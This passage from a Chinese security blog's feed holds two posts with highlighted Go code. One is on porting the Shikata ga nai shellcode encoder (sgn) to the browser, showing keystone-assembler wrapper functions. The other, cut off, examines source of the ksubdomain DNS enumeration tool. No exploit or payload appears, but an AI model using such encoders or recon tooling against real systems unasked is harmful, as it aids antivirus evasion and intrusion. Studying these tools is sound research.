style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e22\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e23\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e24\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e25\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e26\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e27\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e28\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e29\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e30\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e31\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e32\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e33\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e34\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e35\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e36\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e37\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e38\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e39\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e40\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e41\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e42\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e43\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e44\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e45\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e46\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e47\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e48\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e49\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e50\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e51\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e52\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e53\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e54\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e55\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e56\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e57\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e58\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e59\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e60\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e61\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e62\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e63\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e64\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e65\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e66\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e67\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e68\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-go\" data-lang=\"go\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003epackage\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003esgn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e (\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;github.com/EgeBalci/keystone-go\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// Assemble assembes the given instructions\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// and return a byte array with a boolean value indicating wether the operation is successful or not\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efunc\u003c/span\u003e (\u003cspan style=\"color:#a6e22e\"\u003eencoder\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eEncoder\u003c/span\u003e) \u003cspan style=\"color:#a6e22e\"\u003eAssemble\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003easm\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003estring\u003c/span\u003e) ([]\u003cspan style=\"color:#66d9ef\"\u003ebyte\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003ebool\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emode\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ekeystone\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eMode\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eswitch\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eencoder\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003earchitecture\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e32\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#a6e22e\"\u003emode\u003c/span\u003e = \u003cspan style=\"color:#a6e22e\"\u003ekeystone\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eMODE_32\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e64\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#a6e22e\"\u003emode\u003c/span\u003e = \u003cspan style=\"color:#a6e22e\"\u003ekeystone\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eMODE_64\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003enil\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#a6e22e\"\u003eks\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003eerr\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e:=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ekeystone\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eNew\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003ekeystone\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eARCH_X86\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003emode\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eerr\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003enil\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003enil\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003edefer\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eks\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eClose\u003c/span\u003e()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#a6e22e\"\u003eerr\u003c/span\u003e = \u003cspan style=\"color:#a6e22e\"\u003eks\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eOption\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003ekeystone\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eOPT_SYNTAX\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003ekeystone\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eOPT_SYNTAX_INTEL\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eerr\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003enil\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003enil\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e//log.Println(asm)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#a6e22e\"\u003ebin\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003e_\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003eok\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e:=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eks\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eAssemble\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003easm\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ebin\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003eok\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// GetAssemblySize assembes the given  instructions and returns the total instruction size\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// if assembly fails return value is -1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efunc\u003c/span\u003e (\u003cspan style=\"color:#a6e22e\"\u003eencoder\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eEncoder\u003c/span\u003e) \u003cspan style=\"color:#a6e22e\"\u003eGetAssemblySize\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003easm\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003estring\u003c/span\u003e) \u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emode\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ekeystone\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eMode\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eswitch\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eencoder\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003earchitecture\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e32\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#a6e22e\"\u003emode\u003c/span\u003e = \u003cspan style=\"color:#a6e22e\"\u003ekeystone\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eMODE_32\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e64\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#a6e22e\"\u003emode\u003c/span\u003e = \u003cspan style=\"color:#a6e22e\"\u003ekeystone\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eMODE_64\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#a6e22e\"\u003eks\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003eerr\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e:=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ekeystone\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eNew\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003ekeystone\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eARCH_X86\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003emode\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eerr\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003enil\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003edefer\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eks\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eClose\u003c/span\u003e()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#a6e22e\"\u003eerr\u003c/span\u003e = \u003cspan style=\"color:#a6e22e\"\u003eks\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eOption\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003ekeystone\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eOPT_SYNTAX\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003ekeystone\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eOPT_SYNTAX_INTEL\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eerr\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003enil\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#75715e\"\u003e//log.Println(asm)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#a6e22e\"\u003ebin\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003e_\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003eok\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e:=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eks\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eAssemble\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003easm\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e !\u003cspan style=\"color:#a6e22e\"\u003eok\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e len(\u003cspan style=\"color:#a6e22e\"\u003ebin\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e其实工作量并不大，只是需要把所有对 keystone-go 的调用换到keystone.js上即可。\u003c/p\u003e","title":"将Shikata ga nai带到前端"},{"content":"前两天看了amass关于dns枚举的实现，当然关于加速dns枚举的还有ksubdomain这个项目，今天花了几分钟看了下实现\n阅读基于 https://github.com/boy-hack/ksubdomain/commit/9a2f2967eb8fb5c155b22393b9241f4cd6a02dc4\n分析 首先从入口点开始看 https://github.com/boy-hack/ksubdomain/blob/main/cmd/ksubdomain/enum.go#L55-L109\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 Action: func(c *cli.Context) error { if c.NumFlags() == 0 { cli.ShowCommandHelpAndExit(c, \u0026#34;enum\u0026#34;, 0) } var domains []string // handle domain if c.String(\u0026#34;domain\u0026#34;) != \u0026#34;\u0026#34; { domains = append(domains, c.String(\u0026#34;domain\u0026#34;)) } if c.String(\u0026#34;domainList\u0026#34;) != \u0026#34;\u0026#34; { dl, err := core.LinesInFile(c.String(\u0026#34;domainList\u0026#34;)) if err != nil { gologger.Fatalf(\u0026#34;读取domain文件失败:%s\\n\u0026#34;, err.Error()) } domains = append(dl, domains...) } levelDict := c.String(\u0026#34;level-dict\u0026#34;) var levelDomains []string if levelDict != \u0026#34;\u0026#34; { dl, err := core.LinesInFile(levelDict) if err != nil { 